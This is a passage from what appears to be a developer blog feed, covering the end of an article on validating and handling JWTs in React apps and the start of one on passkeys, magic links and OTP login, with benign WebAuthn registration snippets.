<figure class="flow_hvWA"><figcaption class="title__OHd">Validating an RS256-signed ID token</figcaption><ol class="steps_ptmz" aria-label="Validating an RS256-signed ID token"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R code_IywH">ID token</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Read the JWT header</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Obtain the issuer's public keys</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Select the verification key</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="text_K99R">Verify the signature</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="text_K99R">Validate the claims</span></div></li></ol></figure>
<p>The identity provider publishes its public signing keys through a <strong>JSON Web Key Set (JWKS)</strong> endpoint.</p>
<p>A JWT validation implementation uses the token header, including the key identifier when present, to select an appropriate key from a trusted set.</p>
<p>For RS256, the signature is then verified using that public key.</p>
<p>The token's issuer, audience, and expiration must also be validated.</p>
<p>The identity provider retains its private signing key. Clients only need the corresponding public verification key.</p>
<p>The exact validation behavior and configuration options depend on the WSO2 SDK package and version. When using <code>@asgardeo/react</code>, refer to its documented ID-token validation settings rather than applying configuration from an older SDK.</p>
<p>ID-token validation establishes whether the application can trust the identity claims in the token. It doesn't authorize API requests.</p>
<p>When React calls a protected API with an access token, the API must validate that token separately.</p>
<p>For an opaque WSO2 Identity Platform access token, validation generally involves token introspection. For a JWT access token, the API can validate its signature and relevant claims, including issuer, audience, expiry, and permissions.</p>
<p>Validating the ID token in React doesn't replace the API's responsibility to validate access tokens.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-failure-modes-you-will-hit">The failure modes you will hit<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#the-failure-modes-you-will-hit" class="hash-link" aria-label="Direct link to The failure modes you will hit" title="Direct link to The failure modes you will hit" translate="no">​</a></h2>
<p>Tokens expire, clocks aren't always synchronized, and applications often make several authenticated requests at once.</p>
<p>Logout can also involve more than clearing browser storage.</p>
<p>Let's look at how these situations affect token handling.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="clock-skew">Clock skew<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#clock-skew" class="hash-link" aria-label="Direct link to Clock skew" title="Direct link to Clock skew" translate="no">​</a></h3>
<p>The <code>exp</code> claim identifies when a token expires.</p>
<p>That timestamp is created by the identity provider and checked by another system, such as the browser or API server.</p>
<p>Their clocks may not be perfectly synchronized.</p>
<p>If the browser clock is ahead of the identity provider, a token may appear to expire sooner than expected.</p>
<p>Authentication implementations may allow a small amount of clock tolerance when validating time-based claims.</p>
<p>If you're using an authentication SDK, use its supported validation behavior rather than introducing separate expiration checks based on the browser clock.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="expiry-during-a-long-running-interaction">Expiry during a long-running interaction<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#expiry-during-a-long-running-interaction" class="hash-link" aria-label="Direct link to Expiry during a long-running interaction" title="Direct link to Expiry during a long-running interaction" translate="no">​</a></h3>
<p>Imagine a user opens a form and spends twenty minutes filling it out.</p>
<p>The application still appears to be signed in.</p>
<p>When the user submits the form, the access token may already have expired.</p>
<p>The API request can then return <code>401 Unauthorized</code>.</p>
<p>The authentication layer needs a way to obtain a valid access token and retry the request when appropriate without discarding the user's work.</p>
<p>Centralizing token refresh is generally preferable to implementing it separately in individual React components.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="refresh-races">Refresh races<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#refresh-races" class="hash-link" aria-label="Direct link to Refresh races" title="Direct link to Refresh races" translate="no">​</a></h3>
<p>Several API requests may fail at around the same time because the access token has expired.</p>
<p>If each failed request starts its own refresh, multiple refresh requests can run concurrently.</p>
<p>With refresh token rotation, the first successful refresh may invalidate the previous refresh token while another request is still attempting to use it.</p>
<p>The single-refresh pattern shown earlier prevents several refresh operations from running at the same time within one JavaScript execution context.</p>
<p>Other requests wait for the same refresh result.</p>
<p>If the application's authentication SDK already coordinates refresh operations, avoid implementing a second mechanism.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="logout-that-doesnt-revoke-or-end-the-session">Logout that doesn't revoke or end the session<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#logout-that-doesnt-revoke-or-end-the-session" class="hash-link" aria-label="Direct link to Logout that doesn't revoke or end the session" title="Direct link to Logout that doesn't revoke or end the session" translate="no">​</a></h3>
<p>Removing a token from browser storage doesn't necessarily log the user out.</p>
<p>For example:</p>
<div class="language-javascript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-javascript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token dom variable" style="color:#C43300">localStorage</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">removeItem</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"access_token"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>This removes only the application's local copy of the token.</p>
<p>The access token may remain valid until it expires or is revoked. The user may also still have an active session with the identity provider.</p>
<p>Depending on the authentication setup, logout may need to:</p>
<ul>
<li class="">Clear the application's authentication state.</li>
<li class="">Remove locally stored credentials.</li>
<li class="">End the relevant session with the identity provider.</li>
<li class="">Revoke tokens when appropriate and supported.</li>
</ul>
<p>These operations aren't interchangeable. Removing an access token from localStorage doesn't invalidate copies of that token or automatically end the identity provider's session.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="conclusion">Conclusion<a href="https://choreolabs.com/identity-and-access-management/learn/jwt-authentication-react#conclusion" class="hash-link" aria-label="Direct link to Conclusion" title="Direct link to Conclusion" translate="no">​</a></h2>
<p>A signed JWT has three sections: a header, a payload, and a signature.</p>
<p>The header identifies the signing algorithm, the payload carries the claims, and the signature allows the receiver to verify the signed contents using an appropriate key.</p>
<p>In a React application, the token format is only one part of authentication.</p>
<p>Access tokens need to be stored and transmitted according to the application's security requirements. localStorage, sessionStorage, in-memory storage, Web Workers, and server-side storage expose credentials in different ways and retain them for different lengths of time.</p>
<p>ID tokens need to be validated before the application trusts their claims. Decoding a JWT isn't enough; the application must also perform signature verification and the required claim checks.</p>
<p>The application also needs to handle token expiry, refresh, concurrent requests, and logout without exposing credentials unnecessarily.</p>
<p>When designing token handling, consider where credentials are stored, which code can access them, how long they remain available, and what happens when they expire or are revoked.</p>
<p>For React applications using WSO2 Identity Platform, the authentication SDK can manage much of this lifecycle. Choose its storage configuration deliberately, and let the SDK handle the protocol operations it supports rather than duplicating them throughout the application.</p>]]></content:encoded>
            <category>Authentication</category>
            <category>OAuth &amp; OIDC</category>
            <category>User Authentication</category>
        </item>
        <item>
            <title><![CDATA[Passwordless Login in React: Passkeys, Magic Links and OTP]]></title>
            <link>https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react</link>
            <guid>https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react</guid>
            <pubDate>Mon, 07 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Add passwordless login to a React app. Compare passkeys, magic links and email OTP, see what the React side of each flow looks like, and learn what your backend or identity provider has to verify.]]></description>
            <content:encoded><![CDATA[<p>It's not a secret that passwords are unsafe. We ask users to invent a secret, remember it for years, never reuse it anywhere else, type it correctly on every device, and somehow keep it safe from attackers.</p>
<p>Then we build password reset flows for when all of that inevitably goes wrong.</p>
<p>Passwordless authentication changes the model. Instead of asking for a password, your application lets users sign in with something like a passkey, or a one-time code sent to their email address or phone.</p>
<p>In this article, we'll look at the most common passwordless methods and compare how they work and what each one trades off. We'll also walk through what each one looks like from the React side. We won't build the backend here; instead, we'll explain what the server needs to verify at each step.</p>
<p>How you use that depends on where you're starting from:</p>
<ul>
<li class=""><strong>If you run your own backend</strong>, the React code shows you the browser side of each flow, and the server explanations give you a checklist for your endpoints. Pair them with a library such as <a href="https://simplewebauthn.dev/" target="_blank" rel="noopener noreferrer" class="">SimpleWebAuthn</a> for the passkey verification.</li>
<li class=""><strong>If you'd rather not run that backend at all</strong>, an identity provider can do the verification for you. In that case, your React code shrinks to a sign-in button. We cover that in <a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#implementing-with-asgardeoreact" class="">Implementing with @asgardeo/react</a>.</li>
</ul>
<p>Either way, treat the code as illustrative. Each snippet shows one step of a flow, so production concerns such as routing, loading states and full error handling are mostly left out.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-passwordless-means-for-a-react-developer">What passwordless means for a React developer<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#what-passwordless-means-for-a-react-developer" class="hash-link" aria-label="Direct link to What passwordless means for a React developer" title="Direct link to What passwordless means for a React developer" translate="no">​</a></h2>
<p>For a React developer, passwordless authentication does <strong>not</strong> mean React suddenly becomes responsible for authenticating users. Your application still starts the flow, collects whatever interaction is needed, and receives an authenticated session. What changes is <strong>the credential that proves the user's identity</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-three-methods-you-will-actually-ship">The three methods you will actually ship<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#the-three-methods-you-will-actually-ship" class="hash-link" aria-label="Direct link to The three methods you will actually ship" title="Direct link to The three methods you will actually ship" translate="no">​</a></h3>
<p>The most common consumer-facing passwordless options are:</p>
<ul>
<li class=""><strong>Passkeys</strong> - authenticate using a cryptographic credential stored by a device, credential manager, or hardware security key.</li>
<li class=""><strong>Magic links</strong> - send a short-lived login link to the user's email address.</li>
<li class=""><strong>One-time passwords (OTP)</strong> - send a short-lived code to the user's email address or mobile phone.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-the-react-apps-responsibility-starts-and-ends">Where the React app's responsibility starts and ends<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#where-the-react-apps-responsibility-starts-and-ends" class="hash-link" aria-label="Direct link to Where the React app's responsibility starts and ends" title="Direct link to Where the React app's responsibility starts and ends" translate="no">​</a></h3>
<p>Let's get one thing clear before looking at each method: your React application shouldn't be the authority deciding whether a user has successfully authenticated.</p>
<p>In many setups, especially when you use hosted login, React simply starts the authentication flow. The browser moves over to the identity provider, the user completes whatever authentication method is configured there, and once that succeeds, the application gets the result back.</p>
<p>So from React's point of view, the flow is often surprisingly simple:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Passwordless login from React's point of view</figcaption><ol class="steps_ptmz" aria-label="Passwordless login from React's point of view"><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">React</span><span class="text_K99R">Starts authentication</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="label_vt37">Identity provider</span><span class="text_K99R">Handles authentication</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="label_vt37">React</span><span class="text_K99R">Continues with an authenticated user</span></div></li></ol></figure>
<p>If you build more of the login experience directly into your application, React does a little more. It might collect an email address, display a code field, or trigger a browser authentication API.</p>
<p>Even then, React is handling the experience rather than establishing trust. The actual verification still happens on the server or at the identity provider.</p>
<p>Keep that in mind as we go through each method, because how much your React application does depends on the method and how you integrate it.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="choosing-a-method-the-comparison-nobody-publishes">Choosing a method: the comparison nobody publishes<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#choosing-a-method-the-comparison-nobody-publishes" class="hash-link" aria-label="Direct link to Choosing a method: the comparison nobody publishes" title="Direct link to Choosing a method: the comparison nobody publishes" translate="no">​</a></h2>
<p>When choosing a passwordless method, security is only part of the decision. You also need to ask what happens when the user loses their device, whether they can sign in from a different one, what each attempt costs to deliver, and how often they'll need your support team to get back in.</p>
<p>Those practical questions are easy to overlook when security gets all the attention. The best choice is usually the one that balances security, usability, recoverability and cost.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="comparison-table">Comparison table<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#comparison-table" class="hash-link" aria-label="Direct link to Comparison table" title="Direct link to Comparison table" translate="no">​</a></h3>
<p>Here's how the four options compare:</p>
<table><thead><tr><th></th><th><strong>Passkey</strong></th><th><strong>Magic link</strong></th><th><strong>Email OTP</strong></th><th><strong>SMS OTP</strong></th></tr></thead><tbody><tr><td><strong>User experience</strong></td><td>Excellent once enrolled</td><td>Very simple</td><td>Familiar, but requires copying a code</td><td>Familiar, but requires copying a code</td></tr><tr><td><strong>Device dependency</strong></td><td>Depends on passkey provider / authenticator</td><td>Requires email access</td><td>Requires email access</td><td>Requires phone number/SIM access</td></tr><tr><td><strong>Recovery path</strong></td><td>Another synced passkey, another authenticator, or account recovery</td><td>Recover email account</td><td>Recover email account</td><td>Recover mobile number/account</td></tr><tr><td><strong>Delivery cost</strong></td><td>Essentially none per login</td><td>Email delivery</td><td>Email delivery</td><td>SMS delivery</td></tr><tr><td><strong>Phishing resistance</strong></td><td>Strong</td><td>Limited</td><td>Limited</td><td>Limited</td></tr><tr><td><strong>Browser support</strong></td><td>WebAuthn support required</td><td>Minimal</td><td>Minimal</td><td>Minimal</td></tr></tbody></table>
<p>To summarize:</p>
<ul>
<li class="">Passkeys offer some of the strongest authentication properties of the methods we're looking at. A WebAuthn credential is tied to a specific relying party, and the private key never gets sent to the website during authentication.</li>
<li class="">Magic links and OTP trade some of that security for extremely simple recovery and onboarding.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-recovery-question-that-decides-it">The recovery question that decides it<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#the-recovery-question-that-decides-it" class="hash-link" aria-label="Direct link to The recovery question that decides it" title="Direct link to The recovery question that decides it" translate="no">​</a></h3>
<p>It may sound counter-intuitive, but your recovery model decides which passwordless method you should use in the first place. A very secure primary method does not help much if recovery introduces a much weaker path back into the account.</p>
<p>If a user who loses every passkey gets back in through an emailed link, email is part of your authentication security model whether you intended it to be or not.</p>
<p>We'll come back to this properly in <a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#account-recovery-the-part-that-decides-whether-this-works" class="">the account recovery section</a>, once we've seen how each method works.</p>
<p>Now let's look at what each method looks like inside a React application. All three follow the same outline. React starts the flow, some proof travels to the server, and the server verifies it before creating a session. What changes is the proof and how it travels:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Where the three methods differ</figcaption><ol class="steps_ptmz" aria-label="Where the three methods differ"><li class="item_fcGx"><div class="columns_z60Q lanes_Nvhu"><div class="column_o_MC lane_sSEq"><span class="laneTitle_d_o1">Passkey</span><ol class="steps_ptmz" aria-label="Passkey"><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">React</span><span class="text_K99R">Requests a challenge from the server</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="label_vt37">Browser + authenticator</span><span class="text_K99R">Signs the challenge with the private key</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">Server</span><span class="text_K99R">Verifies the signature with the stored public key</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">Session created</span></div></li></ol></div><div class="column_o_MC lane_sSEq"><span class="laneTitle_d_o1">Magic link</span><ol class="steps_ptmz" aria-label="Magic link"><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">React</span><span class="text_K99R">Sends the email address</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="label_vt37">Email</span><span class="text_K99R">Delivers a one-time link back to the app</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">Server</span><span class="text_K99R">Verifies the token from the link</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">Session created</span></div></li></ol></div><div class="column_o_MC lane_sSEq"><span class="laneTitle_d_o1">Email / SMS OTP</span><ol class="steps_ptmz" aria-label="Email / SMS OTP"><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">React</span><span class="text_K99R">Sends the email address or phone number</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="label_vt37">Email or SMS</span><span class="text_K99R">Delivers a code the user types into the app</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="label_vt37">Server</span><span class="text_K99R">Verifies the code</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">Session created</span></div></li></ol></div></div></li></ol></figure>
<p>React's part looks similar in all three. The highlighted middle step is where the security properties come from, and it's why the methods compare the way they do in the table.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="passkeys-and-webauthn-in-react">Passkeys and WebAuthn in React<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#passkeys-and-webauthn-in-react" class="hash-link" aria-label="Direct link to Passkeys and WebAuthn in React" title="Direct link to Passkeys and WebAuthn in React" translate="no">​</a></h2>
<p>We've used the terms <strong>passkeys</strong> and <strong>WebAuthn</strong> a few times already, so let's break down what each one means and how they fit together.</p>
<p><strong>WebAuthn</strong>, short for Web Authentication, is the web standard that lets applications authenticate users using public-key cryptography instead of a password. It gives the browser APIs for creating a credential and later using that credential during sign-in.</p>
<p>A <strong>passkey</strong> is the credential the user creates and uses through that system. Users usually approve it with whatever they already use to unlock their device or credential manager, such as Face ID, Touch ID, Windows Hello or a device PIN. Passkeys can also live on hardware security keys.</p>
<p>Behind the scenes, a passkey is a public-private key pair. The <strong>public key</strong> is registered with your application. The <strong>private key</strong> stays with the authenticator and is used when the user later signs in, so your application never needs to receive or store it.</p>
<p>Adding passkeys involves two flows, which WebAuthn calls <strong>ceremonies</strong>:</p>
<ul>
<li class=""><strong>Registration</strong> - creating a passkey and associating it with a user.</li>
<li class=""><strong>Authentication</strong> - using that passkey later to sign in.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-were-working-with">What we're working with<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#what-were-working-with" class="hash-link" aria-label="Direct link to What we're working with" title="Direct link to What we're working with" translate="no">​</a></h3>
<p>The rest of this section assumes a React app running in the browser and a backend that belongs to the same application. React handles the UI and calls the browser's WebAuthn API. The backend creates the challenges, verifies the responses, and stores each user's public credentials.</p>
<p>If you want to see the ceremonies working before writing anything yourself, there are two good places to start:</p>
<ul>
<li class=""><strong><a href="https://webauthn.io/" target="_blank" rel="noopener noreferrer" class="">webauthn.io</a></strong> - a demo site from Duo Labs where you can register a passkey and sign in with it, right in your browser.</li>
<li class=""><strong><a href="https://github.com/MasterKale/SimpleWebAuthn/tree/master/example" target="_blank" rel="noopener noreferrer" class="">The SimpleWebAuthn example project</a></strong> - a small Express server with a working WebAuthn backend that you can run locally and read through.</li>
</ul>
<p>One thing you can't do is point your React app at someone else's passkey backend. A passkey is bound to the domain it was created for, so the server verifying it has to belong to your application.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="registration-ceremony">Registration ceremony<a href="https://choreolabs.com/identity-and-access-management/learn/passwordless-login-react#registration-ceremony" class="hash-link" aria-label="Direct link to Registration ceremony" title="Direct link to Registration ceremony" translate="no">​</a></h3>
<p>Registration starts when a user wants to create a passkey for their account. The first step is to ask your server for a set of <strong>registration options</strong>: the instructions the browser needs to create the new credential.</p>
<p>WebAuthn defines what these options look like, but not the endpoint that serves them. Here, <code>/api/passkeys/register/options</code> is an endpoint in our own backend.</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> optionsJSON </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">fetch</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"/api/passkeys/register/options"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">method</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"POST"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token literal-property property" style="color:#1F4FFF">credentials</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"include"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">then</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token parameter" style="color:#1F4FFF">res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">json</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>We assume the user is already signed in, so <code>credentials: "include"</code> sends their session cookie and the server knows which account the passkey is for. A simplified response might look like this:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"challenge"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"base64url-encoded-random-value"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"rp"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"name"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"My App"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"id"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"example.com"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"user"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"id"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"base64url-encoded-user-id"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"name"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"alex@example.com"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"displayName"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Alex"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"pubKeyCredParams"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token property" style="color:#1F4FFF">"type"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"public-key"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token property" style="color:#1F4FFF">"alg"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">-7</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"authenticatorSelection"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"residentKey"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"required"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"userVerification"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"required"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"timeout"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token number" style="color:#C43300">60000</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"attestation"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"none"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>There are a few things going on here:</p>
<ul>
<li class=""><code>rp</code> describes the <strong>relying party</strong>: the website or service the passkey is being created for.</li>
<li class=""><code>user</code> identifies the account the new passkey belongs to.</li>
<li class=""><code>pubKeyCredParams</code> lists the public-key algorithms the server supports.</li>
<li class=""><code>authenticatorSelection</code> sets two policies. <code>residentKey: "required"</code> asks for a <strong>discoverable credential</strong>, one the authenticator can find without the server naming it first, which we'll need for autofill. <code>userVerification: "required"</code> asks the authenticator to confirm it's really the user, with a biometric or device PIN, rather than just checking that someone tapped a key.</li>
<li class=""><code>challenge</code> is a fresh random value for this registration attempt. The server checks it when the result comes back, to make sure the response belongs to the ceremony it started.</li>
</ul>
<p>WebAuthn represents values such as <code>challenge</code> and <code>user.id</code> as binary data, but they arrive from our server as encoded JSON strings. So React converts them with a browser helper, then asks the browser to create the passkey:</p>
<div class="language-js codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-js codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> options </span><span class="token operator">=</span><span class="token plain"> </span><span class="token maybe-class-name" style="color:#0B1633;font-weight:600">PublicKeyCredential</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token method function property-access" style="color:#0B1633;font-weight:600">parseCreationOptionsFromJSON</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">optionsJSON</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> credential </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token dom variable" style="color:#C43300">navigator</span><span class="token punctuation" 